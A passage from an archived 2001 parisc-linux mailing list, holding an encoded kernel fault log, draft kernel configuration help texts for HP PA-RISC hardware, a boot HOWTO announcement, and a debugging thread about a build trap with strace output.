MGRlYmYKU2VwIDI1IDAzOjI4OjI2IGRsYXJyeSBrZXJuZWw6IHNyMC0zXkkgMDAwMDE2NzQg
MDAwMDE2NzQgMDAwMDAwMDAgMDAwMDE2NzQKU2VwIDI1IDAzOjI4OjI2IGRsYXJyeSBrZXJu
ZWw6IHNyNC03XkkgMDAwMDE2NzQgMDAwMDE2NzQgMDAwMDE2NzQgMDAwMDE2NzQKU2VwIDI1
IDAzOjI4OjI2IGRsYXJyeSBrZXJuZWw6IApTZXAgMjUgMDM6Mjg6MjYgZGxhcnJ5IGtlcm5l
bDogSUFTUTogMDAwMDE2NzQgMDAwMDE2NzQgSUFPUTogNDAzZDNlMmYgNDAzZDNlMzMKU2Vw
IDI1IDAzOjI4OjI2IGRsYXJyeSBrZXJuZWw6ICBJSVI6IDA4MDAwMjQwICAgIElTUjogMDAw
MDE2NzQgIElPUjogNDAzZDNlM2MKU2VwIDI1IDAzOjI4OjI2IGRsYXJyeSBrZXJuZWw6ICBD
UFU6ICAgICAgICAwICAgQ1IzMDogMTZkMTgwMDAgQ1IzMTogMTAzNjAwMDAKU2VwIDI1IDAz
OjI4OjI2IGRsYXJyeSBrZXJuZWw6ICBPUklHX1IyODogZmFmMDA4OTAKU2VwIDI1IDAzOjI4
OjI2IGRsYXJyeSBrZXJuZWw6IApTZXAgMjUgMDM6Mjg6MjYgZGxhcnJ5IGtlcm5lbDogZG9f
cGFnZV9mYXVsdCgpIHBpZD0xNzg2IGNvbW1hbmQ9J2FwYWNoZScgdHlwZT03IGFkZHJlc3M9
MHg0MDNkM2UyZgpTZXAgMjUgMDM6Mjg6MjYgZGxhcnJ5IGtlcm5lbDogdm1fc3RhcnQgPSAw
eDQwM2QzMDAwLCB2bV9lbmQgPSAweDQwM2Q1MDAwClNlcCAyNSAwMzoyODoyNiBkbGFycnkg
a2VybmVsOiAKU2VwIDI1IDAzOjI4OjI2IGRsYXJyeSBrZXJuZWw6ICAgICAgWVpydldFU1RI
TE5YQkNWTWNiY2JjYmNiT0dGUlFQREkKU2VwIDI1IDAzOjI4OjI2IGRsYXJyeSBrZXJuZWw6
IFBTVzogMDAwMDAwMDAwMDAwMDExMDAwMDAwMDAwMDAwMDExMTEKU2VwIDI1IDAzOjI4OjI2
IGRsYXJyeSBrZXJuZWw6IHIwLTNeSSAwMDAwMDAwMCA0MDAyODMxMCA0MDNkNDk3MyBmYWYw
MDcwMApTZXAgMjUgMDM6Mjg6MjYgZGxhcnJ5IGtlcm5lbDogcjQtN15JIDQwM2U0Zjk4IGZh
ZjAwN2I0IDAwMDk1ZWIwIDAwMDAwMDc4ClNlcCAyNSAwMzoyODoyNiBkbGFycnkga2VybmVs
OiByOC0xMV5JIDAwMDAwMDBjIGZhZjAwNzg0IDAwMDAwMDAyIDAwMDAwMDE5ClNlcCAyNSAw
MzoyODoyNiBkbGFycnkga2VybmVsOiByMTItMTVeSSBmYWYwMDdiNCBmZmZmZmY5YyA0MDAy
ODQ4NCAwMDA4MzliMApTZXAgMjUgMDM6Mjg6MjYgZGxhcnJ5IGtlcm5lbDogcjE2LTE5Xkkg
MDAwMDAwYzggMDAwNjEwMDAgMDAwODExYjAgNDAzZTRmOTgKU2VwIDI1IDAzOjI4OjI2IGRs
YXJyeSBrZXJuZWw6IHIyMC0yM15JIDAwMDAwMDAxIDQwM2U0Zjk4IDQwM2Q0OTU4IDQwMDI4
MzE4ClNlcCAyNSAwMzoyODoyNiBkbGFycnkga2VybmVsOiByMjQtMjdeSSA0MDAyODQ4NCA0
MDNkNDk1OCAwMDA5NWViMCAwMDA3YjliMApTZXAgMjUgMDM6Mjg6MjYgZGxhcnJ5IGtlcm5l
bDogcjI4LTMxXkkgNDAwMWI0MGEgMDAwMDAwMDAgZmFmMDA4NDAgNDAwMGRlYmYKU2VwIDI1
IDAzOjI4OjI2IGRsYXJyeSBrZXJuZWw6IHNyMC0zXkkgMDAwMDE2N2IgMDAwMDE2N2IgMDAw
MDAwMDAgMDAwMDE2N2IKU2VwIDI1IDAzOjI4OjI2IGRsYXJyeSBrZXJuZWw6IHNyNC03Xkkg
MDAwMDE2N2IgMDAwMDE2N2IgMDAwMDE2N2IgMDAwMDE2N2IKU2VwIDI1IDAzOjI4OjI2IGRs
YXJyeSBrZXJuZWw6IApTZXAgMjUgMDM6Mjg6MjYgZGxhcnJ5IGtlcm5lbDogSUFTUTogMDAw
MDE2N2IgMDAwMDE2N2IgSUFPUTogNDAzZDNlMmYgNDAzZDNlMzMKU2VwIDI1IDAzOjI4OjI2
IGRsYXJyeSBrZXJuZWw6ICBJSVI6IDA4MDAwMjQwICAgIElTUjogMDAwMDE2N2IgIElPUjog
NDAzZDNlM2MKU2VwIDI1IDAzOjI4OjI2IGRsYXJyeSBrZXJuZWw6ICBDUFU6ICAgICAgICAw
ICAgQ1IzMDogMTZkYmMwMDAgQ1IzMTogMTAzNjAwMDAKU2VwIDI1IDAzOjI4OjI2IGRsYXJy
eSBrZXJuZWw6ICBPUklHX1IyODogZmFmMDA4OTAKU2VwIDI1IDA0OjU2OjU1IGRsYXJyeSBr
ZXJuZWw6IApTZXAgMjUgMDQ6NTY6NTUgZGxhcnJ5IGtlcm5lbDogZG9fcGFnZV9mYXVsdCgp
IHBpZD0xODEzIGNvbW1hbmQ9J2FwYWNoZScgdHlwZT03IGFkZHJlc3M9MHg0MDNkM2UyZgpT
ZXAgMjUgMDQ6NTY6NTUgZGxhcnJ5IGtlcm5lbDogdm1fc3RhcnQgPSAweDQwM2QzMDAwLCB2
bV9lbmQgPSAweDQwM2Q1MDAwClNlcCAyNSAwNDo1Njo1NSBkbGFycnkga2VybmVsOiAKU2Vw
IDI1IDA0OjU2OjU1IGRsYXJyeSBrZXJuZWw6ICAgICAgWVpydldFU1RITE5YQkNWTWNiY2Jj
YmNiT0dGUlFQREkKU2VwIDI1IDA0OjU2OjU1IGRsYXJyeSBrZXJuZWw6IFBTVzogMDAwMDAw
MDAwMDAwMDEwMDAwMDAwMDAwMDAwMDExMTEKU2VwIDI1IDA0OjU2OjU1IGRsYXJyeSBrZXJu
ZWw6IHIwLTNeSSAwMDAwMDAwMCA0MDAyODMxMCA0MDNkNDk3MyBmYWYwMDcwMApTZXAgMjUg
MDQ6NTY6NTUgZGxhcnJ5IGtlcm5lbDogcjQtN15JIDQwM2U0Zjk4IGZhZjAwN2I0IDAwMDk1
ZWIwIDAwMDAwMDc4ClNlcCAyNSAwNDo1Njo1NSBkbGFycnkga2VybmVsOiByOC0xMV5JIDAw
MDAwMDBjIGZhZjAwNzg0IDAwMDAwMDAyIDAwMDAwMDE5ClNlcCAyNSAwNDo1Njo1NSBkbGFy
cnkga2VybmVsOiByMTItMTVeSSBmYWYwMDdiNCBmZmZmZmY5YyA0MDAyODQ4NCAwMDA4Mzli
MApTZXAgMjUgMDQ6NTY6NTUgZGxhcnJ5IGtlcm5lbDogcjE2LTE5XkkgMDAwMDAwYzggMDAw
NjEwMDAgMDAwODExYjAgNDAzZTRmOTgKU2VwIDI1IDA0OjU2OjU1IGRsYXJyeSBrZXJuZWw6
IHIyMC0yM15JIDAwMDAwMDAxIDQwM2U0Zjk4IDQwM2Q0OTU4IDQwMDI4MzE4ClNlcCAyNSAw
NDo1Njo1NSBkbGFycnkga2VybmVsOiByMjQtMjdeSSA0MDAyODQ4NCA0MDNkNDk1OCAwMDA5
NWViMCAwMDA3YjliMApTZXAgMjUgMDQ6NTY6NTUgZGxhcnJ5IGtlcm5lbDogcjI4LTMxXkkg
NDAwMWI0MGEgMDAwMDAwMDAgZmFmMDA4NDAgNDAwMGRlYmYKU2VwIDI1IDA0OjU2OjU1IGRs
YXJyeSBrZXJuZWw6IHNyMC0zXkkgMDAwMDE2ZDcgMDAwMDE2ZDcgMDAwMDAwMDAgMDAwMDE2
ZDcKU2VwIDI1IDA0OjU2OjU1IGRsYXJyeSBrZXJuZWw6IHNyNC03XkkgMDAwMDE2ZDcgMDAw
MDE2ZDcgMDAwMDE2ZDcgMDAwMDE2ZDcKU2VwIDI1IDA0OjU2OjU1IGRsYXJyeSBrZXJuZWw6
IApTZXAgMjUgMDQ6NTY6NTUgZGxhcnJ5IGtlcm5lbDogSUFTUTogMDAwMDE2ZDcgMDAwMDE2
ZDcgSUFPUTogNDAzZDNlMmYgNDAzZDNlMzMKU2VwIDI1IDA0OjU2OjU1IGRsYXJyeSBrZXJu
ZWw6ICBJSVI6IDA4MDAwMjQwICAgIElTUjogMDAwMDE2ZDcgIElPUjogNDAzZDNlM2MKU2Vw
IDI1IDA0OjU2OjU1IGRsYXJyeSBrZXJuZWw6ICBDUFU6ICAgICAgICAwICAgQ1IzMDogMTQ0
YTgwMDAgQ1IzMTogMTAzNjAwMDAKU2VwIDI1IDA0OjU2OjU1IGRsYXJyeSBrZXJuZWw6ICBP
UklHX1IyODogZmFmMDA4OTAK
--------------19476CE09D44B19A939AE487--





From - Thu Nov 08 21:19:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] First Draft of the help for the kernel options
Date: Wed, 26 Sep 2001 00:42:01 +0200
Lines: 104
Approved: news@gmane.org
Message-ID: <3BB10839.D23F2ED6@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620515 26114 80.91.229.3 (22 Nov 2014 01:41:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:55 +0000 (UTC)
To: "parisc-linux@parisc-linux.org" <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 25 16:43:55 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id A1B95482B
	for <parisc-linux@parisc-linux.org>; Tue, 25 Sep 2001 16:43:54 -0600 (MDT)
Original-Received: from esiee.fr (pc211j.esiee.fr [147.215.80.169])
	by mail.esiee.fr (Postfix) with ESMTP id E55CAD15DC
	for <parisc-linux@parisc-linux.org>; Wed, 26 Sep 2001 00:43:46 +0200 (CEST)
Original-Sender: marteaut@esiee.fr
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.19 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:12293

Hi all,

	As you know, PA/Linux source needs some help to guide their users.
That's why I tried to complete the documentation for the kernel. I would
like to know your point of view and your modifications. I send what we
must add at Documentation/Configuration.help. If you want to reply, try
to cut only the most interesting part in order to have small replies.

Thanks in advance, Thomas.
ESIEE Team


Here is the first draft:
==================================================================================

GSC/Gecko bus support
CONFIG_GSC
  This option gives to the kernel the capability to manage GSC buses 
  of HP computers. This option is compulsory if you want it working.

LASI I/O support
CONFIG_GSC_LASI
  LASI is one type of controller embedded in HP workstations and 
  servers. It controls some I/O devices like PS2 keyboard and mouse, 
  audio or serial interface. The best advice is to keep it in your 
  configuration, if you are not sure about that point.

GSCtoPCI/DINO PCI support
CONFIG_GSC_DINO
  By selecting this item, you add the use of your PCI extension slots.
  In order to be useful, you need a quite recent HP computer like those
  based on PA7300LC or PA8X00.

Chassis LCD and LED support
CONFIG_CHASSIS_LCD_LED
  HP boxes have LED or LCD indicator on the front in order to show some 
  basic information like status for example. With this enabled, you can
  have this help also available.

Kernel support for SOM binaries
CONFIG_BINFMT_SOM
  SOM (Spectrum Object Model) is a format for libraries and executables 
  used by HP. Saying Y here will enable your kernel to run SOM binaries.
  As a result, you could run HP-UX executables. This capability is still
  in development. Then, you use this functionality with no warranty!

LASI/ASP builtin parallel-port
CONFIG_PARPORT_GSC
  If you have a LASI or ASP controller in your HP box and you want to
use 
  the parallel port, a good idea will be to keep this item in your
  configuration.

HP Lasi SCSI support
CONFIG_SCSI_LASI
  If you have an old HP system like a 712, you should keep this on.
  This will enable the 
  For quite recent computers, you may be able to turn this off. 

Lasi ethernet
CONFIG_LASI_82596
  This option adds the driver for one of most used network cards. It
  is also known as Apricot driver. It is based on an Intel 82596 chip.
  If you do not know what is your hardware, it is strongly recommended
  to keep is on.

Support for Lasi/Dino PS2 port
CONFIG_GSC_PS2
  The PS2 connector of the HP boxes looks like a standard PC connector.
  If you want to use the PS2 keyboard and mouse, you must keep this on.
  Anyway, some HP workstations and servers have this kind of interfaces
  but not the ports you can plug in your devices. Thus, the best thing
  to do anyway is to let this choice turned on.

serial port on GSC support
CONFIG_SERIAL_GSC
  For most of the HP servers and for some workstations that do not have 
  its video card supported yet, you will need to get the console output
  via the serial port. As a result, you could interact with the box via
  a VT or a serial cable link to another computer.

STI console
CONFIG_STI_CONSOLE
  The Standard Text Interface could correspond to the VGA support for
PC.
  HP developped STI as a mechanism between CPU and graphics devices. 
  Thus, if you want your console on your screen like any other PC linux
  does, leave this option on.
  If you do not have any success with your console output, we advice you
  to check if you have checked the STI frame buffer option, aka 
  CONFIG_FB_STI, in your configuration. Some models are happy when the 
  two of them are enabled and some others prefer to have only this one 
  only.
  Anyway, if you failed to have the screen output, you can switch to the 
  serial console output.

PA Harmony audio driver
CONFIG_SOUND_HARMONY
  This option enables the audio part of the LASI controller. Since it is 
  standard to all the boxes, this option should be set for any 
  workstation. Servers do not really need audio. Then, you can unset it.




From - Thu Nov 08 21:19:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Allen <ra@hp.is>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Trace/breakpoint trap
Date: Tue, 25 Sep 2001 23:42:25 +0000
Lines: 31
Approved: news@gmane.org
Message-ID: <20010925234225.A18261@hp.is>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620515 26120 80.91.229.3 (22 Nov 2014 01:41:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:55 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 25 17:42:29 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from xo.hp.is (xo.hp.is [194.105.242.199])
	by dsl2.external.hp.com (Postfix) with ESMTP id 17F72482B
	for <parisc-linux@parisc-linux.org>; Tue, 25 Sep 2001 17:42:28 -0600 (MDT)
Original-Received: (from ra@localhost)
	by xo.hp.is (8.11.6/RA-8.11.6) id f8PNgP518270
	for parisc-linux@parisc-linux.org; Tue, 25 Sep 2001 23:42:25 GMT
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
X-Subliminal-Message: Microsoft sucks! Update your system to Linux today!
Xref: news.gmane.org gmane.linux.ports.parisc:12294

Here's a wild one:

bofh:~/rpm-4.0.3/rpmdb# make
Trace/breakpoint trap
bofh:~/rpm-4.0.3/rpmdb# echo $?
133
bofh:~/rpm-4.0.3/rpmdb#

Nothing is wrong there.  Moving that directory over ti a i686 system gives no
problems.

Whats wrong ?

bofh:~# uname -a
Linux bofh 2.4.9-pa24 #2 Fri Sep 21 20:40:31 UTC 2001 parisc unknown
bofh:~# gcc --version
3.0.2

It's apt-get updated to the max.




-- 
Rikki.         --  HP Technical Support, RHCE, RHCX, HP-UX Certified Admin.
               --  Solaris 7 Certified Systems and Network Administrator.
Bell Labs Unix --  Reach out and grep someone.
Those who do not understand Unix are condemned to reinvent it, poorly.




From - Thu Nov 08 21:19:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] The new HOWTO
Date: Wed, 26 Sep 2001 02:08:30 +0200
Lines: 19
Approved: news@gmane.org
Message-ID: <3BB11C7E.C58D7E44@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620516 26126 80.91.229.3 (22 Nov 2014 01:41:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:56 +0000 (UTC)
To: "parisc-linux@parisc-linux.org" <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 25 18:10:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 229674897
	for <parisc-linux@parisc-linux.org>; Tue, 25 Sep 2001 18:10:19 -0600 (MDT)
Original-Received: from esiee.fr (pc211j.esiee.fr [147.215.80.169])
	by mail.esiee.fr (Postfix) with ESMTP id 2A69DD15C5
	for <parisc-linux@parisc-linux.org>; Wed, 26 Sep 2001 02:10:17 +0200 (CEST)
Original-Sender: marteaut@esiee.fr
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.19 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:12295

Hi again,

	I would like to remind everybody that we have the PA-RISC/Linux Boot
HOWTO and I try to keep it up-to-date. I just released a new version
that includes some little changes and the redaction of "obtaining
bootp/tftpd". I would like to have some feedback and specially if you
authorize me to move to the stable state in order to get into the Linux
DocumentationProject as an official HOWTO!

	I would like to know if this would have helped the new guys recently
arrived. If not, tell me what you expected to find in it!

The URL is http://mkhppa1.esiee.fr/doc.html

Thanks for your feedback, Thomas.
ESIEE Team




From - Thu Nov 08 21:19:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Trace/breakpoint trap
Date: Tue, 25 Sep 2001 18:18:57 -0600
Lines: 20
Approved: news@gmane.org
Message-ID: <20010926001857.1BAF937C8D@carmen.fc.hp.com>
References: <20010925234225.A18261@hp.is>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620516 26136 80.91.229.3 (22 Nov 2014 01:41:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:56 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Richard Allen <ra@hp.is>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 25 18:18:59 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [192.151.27.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id AF9FF482B
	for <parisc-linux@parisc-linux.org>; Tue, 25 Sep 2001 18:18:58 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel6.hp.com (Postfix) with ESMTP
	id A58181F879; Tue, 25 Sep 2001 20:18:57 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 1BAF937C8D; Tue, 25 Sep 2001 18:18:57 -0600 (MDT)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Message from Richard Allen <ra@hp.is> 
   of "Tue, 25 Sep 2001 23:42:25 -0000." <20010925234225.A18261@hp.is> 
Xref: news.gmane.org gmane.linux.ports.parisc:12296

Richard Allen writes...

> Here's a wild one:
> 
> bofh:~/rpm-4.0.3/rpmdb# make
> Trace/breakpoint trap
> bofh:~/rpm-4.0.3/rpmdb# echo $?
> 133
> bofh:~/rpm-4.0.3/rpmdb#

Try it with strace and post the results. Was anything printed on the console?

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:19:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Allen <ra@hp.is>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Trace/breakpoint trap
Date: Wed, 26 Sep 2001 00:38:11 +0000
Lines: 451
Approved: news@gmane.org
Message-ID: <20010926003811.B18261@hp.is>
References: <20010925234225.A18261@hp.is> <ra@hp.is> <20010926001857.1BAF937C8D@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620516 26141 80.91.229.3 (22 Nov 2014 01:41:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:41:56 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matt Taggart <taggart@carmen.fc.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Sep 25 18:39:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from xo.hp.is (xo.hp.is [194.105.242.199])
	by dsl2.external.hp.com (Postfix) with ESMTP id 58278482B
	for <parisc-linux@parisc-linux.org>; Tue, 25 Sep 2001 18:39:17 -0600 (MDT)
Original-Received: (from ra@localhost)
	by xo.hp.is (8.11.6/RA-8.11.6) id f8Q0cCO18359;
	Wed, 26 Sep 2001 00:38:12 GMT
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010926001857.1BAF937C8D@carmen.fc.hp.com>; from taggart@carmen.fc.hp.com on Tue, Sep 25, 2001 at 06:18:57PM -0600
X-Subliminal-Message: Microsoft sucks! Update your system to Linux today!
Xref: news.gmane.org gmane.linux.ports.parisc:12297

On Tue, Sep 25, 2001 at 06:18:57PM -0600, Matt Taggart wrote:
> 
> Richard Allen writes...
> 
> > Here's a wild one:
> > 
> > bofh:~/rpm-4.0.3/rpmdb# make
> > Trace/breakpoint trap
> > bofh:~/rpm-4.0.3/rpmdb# echo $?
> > 133
> > bofh:~/rpm-4.0.3/rpmdb#
> 
> Try it with strace and post the results. Was anything printed on the console?

The console is on the other side of town.    Will check it tomorrow morning.


execve("/usr/bin/make", ["make"], [/* 17 vars */]) = 0
newuname({sys="Linux", node="bofh", ...}) = 0
brk(0)                                  = 0x44000
open("/etc/ld.so.preload", O_RDONLY)    = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY)      = 3
fstat64(3, {st_mode=0, st_size=0, ...}) = 0
mmap(NULL, 7438, PROT_READ, MAP_PRIVATE, 3, 0) = 0x40019000
close(3)                                = 0
open("/lib/libc.so.6", O_RDONLY)        = 3
read(3, "\177ELF\1\2\1\3\0\0\0\0\0\0\0\0\0\3\0\17\0\0\0\1\0\2\300"..., 1024) = 1024
fstat64(3, {st_mode=0, st_size=0, ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4001b000
mmap(NULL, 1417616, PROT_READ|PROT_EXEC, MAP_PRIVATE, 3, 0) = 0x4002a000
mprotect(0x40167000, 119184, PROT_NONE) = 0
mmap(0x40176000, 45056, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 3, 0x13c000) = 0x40176000
mmap(0x40181000, 12688, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40181000
close(3)                                = 0
mprotect(0x10000, 135168, PROT_READ|PROT_WRITE) = 0
mprotect(0x10000, 135168, PROT_READ|PROT_EXEC) = 0
munmap(0x40019000, 7438)                = 0
getpid()                                = 4206
brk(0)                                  = 0x44000
brk(0x44030)                            = 0x44030
brk(0x45000)                            = 0x45000
rt_sigaction(SIGHUP, {0x40c2e, [], SA_RESTART}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGQUIT, {0x40c2e, [], SA_RESTART}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGINT, {0x40c2e, [], SA_RESTART}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGTERM, {0x40c2e, [], SA_RESTART}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGXCPU, {0x40c2e, [HUP], SA_RESTART}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGXFSZ, {0x40c2e, [INT], SA_RESTART}, {SIG_DFL}, 8) = 0
rt_sigaction(SIGCHLD, {SIG_DFL}, {SIG_DFL}, 8) = 0
getcwd("/root/rpm-4.0.3/rpmdb", 4095)   = 22
stat64("/usr/include", {st_mode=0, st_size=0, ...}) = 0
stat64("/usr/gnu/include", 0xbff01cc8)  = -1 ENOENT (No such file or directory)
stat64("/usr/local/include", {st_mode=0, st_size=50, ...}) = 0
stat64("/usr/include", {st_mode=0, st_size=0, ...}) = 0
rt_sigaction(SIGCHLD, {0x40dae, [], SA_INTERRUPT}, NULL, 8) = 0
rt_sigaction(SIGUSR1, {0x40ace, [], SA_RESTART}, {SIG_DFL}, 8) = 0
brk(0x46000)                            = 0x46000
brk(0x47000)                            = 0x47000
brk(0x48000)                            = 0x48000
stat64(".", {st_mode=0, st_size=9281424328817, ...}) = 0
open(".", O_RDONLY|O_NONBLOCK|O_LARGEFILE|O_DIRECTORY) = 3
fstat64(3, {st_mode=0, st_size=9281424328817, ...}) = 0
fcntl(3, F_SETFD, FD_CLOEXEC)           = 0
brk(0x4a000)                            = 0x4a000
getdents64(0x3, 0x47e70, 0x1000)        = 1096
getdents64(0x3, 0x47e70, 0x1000)        = 0
close(3)                                = 0
open("Makefile", O_RDONLY|O_LARGEFILE)  = 3
fstat64(3, {st_mode=0, st_size=0, ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40019000
read(3, "# Generated automatically from M"..., 4096) = 4096
brk(0x4b000)                            = 0x4b000
read(3, " yes\nVERSION = 4.0.3\nWITH_APIDOC"..., 4096) = 4096
brk(0x4c000)                            = 0x4c000
brk(0x4d000)                            = 0x4d000
read(3, "n-compile:\n\t-rm -f *.o core *.co"..., 4096) = 4096
brk(0x4e000)                            = 0x4e000
brk(0x4f000)                            = 0x4f000
brk(0x50000)                            = 0x50000
brk(0x51000)                            = 0x51000
brk(0x52000)                            = 0x52000
read(3, "og.h \\\n\t../rpmio/rpmerr.h ../lib"..., 4096) = 3537
brk(0x53000)                            = 0x53000
brk(0x54000)                            = 0x54000
brk(0x55000)                            = 0x55000
brk(0x56000)                            = 0x56000
brk(0x57000)                            = 0x57000
read(3, "", 4096)                       = 0
close(3)                                = 0
munmap(0x40019000, 4096)                = 0
stat64("RCS", 0xbff01d88)               = -1 ENOENT (No such file or directory)
stat64("SCCS", 0xbff01d88)              = -1 ENOENT (No such file or directory)
stat64("Makefile", {st_mode=0, st_size=0, ...}) = 0
time(NULL)                              = 1001464278
stat64("Makefile.in", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64("Makefile.am", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64("../configure.in", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64("..", {st_mode=0, st_size=9281424328817, ...}) = 0
open("..", O_RDONLY|O_NONBLOCK|O_LARGEFILE|O_DIRECTORY) = 3
fstat64(3, {st_mode=0, st_size=9281424328817, ...}) = 0
fcntl(3, F_SETFD, FD_CLOEXEC)           = 0
brk(0x59000)                            = 0x59000
getdents64(0x3, 0x56b60, 0x1000)        = 2520
getdents64(0x3, 0x56b60, 0x1000)        = 0
close(3)                                = 0
stat64("../RCS", 0xbff02440)            = -1 ENOENT (No such file or directory)
stat64("../SCCS", 0xbff02440)           = -1 ENOENT (No such file or directory)
stat64("../config.status", {st_mode=0, st_size=0, ...}) = 0
stat64("librpmdb.la", 0xbff02248)       = -1 ENOENT (No such file or directory)
stat64("dbconfig.lo", {st_mode=0, st_size=0, ...}) = 0
stat64("dbconfig.c", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64("../system.h", {st_mode=0, st_size=9281424328817, ...}) = 0
stat64("../config.h", {st_mode=0, st_size=0, ...}) = 0
stat64("../db3/db.h", {st_mode=0, st_size=0, ...}) = 0
stat64("../db3", {st_mode=0, st_size=9281424328817, ...}) = 0
open("../db3", O_RDONLY|O_NONBLOCK|O_LARGEFILE|O_DIRECTORY) = 3
fstat64(3, {st_mode=0, st_size=9281424328817, ...}) = 0
fcntl(3, F_SETFD, FD_CLOEXEC)           = 0
getdents64(0x3, 0x56b60, 0x1000)        = 4064
getdents64(0x3, 0x56b60, 0x1000)        = 4080
brk(0x5a000)                            = 0x5a000
getdents64(0x3, 0x56b60, 0x1000)        = 4040
brk(0x5b000)                            = 0x5b000
brk(0x5c000)                            = 0x5c000
getdents64(0x3, 0x56b60, 0x1000)        = 0
close(3)                                = 0
stat64("../db3/RCS", 0xbff028c8)        = -1 ENOENT (No such file or directory)
stat64("../db3/SCCS", 0xbff028c8)       = -1 ENOENT (No such file or directory)
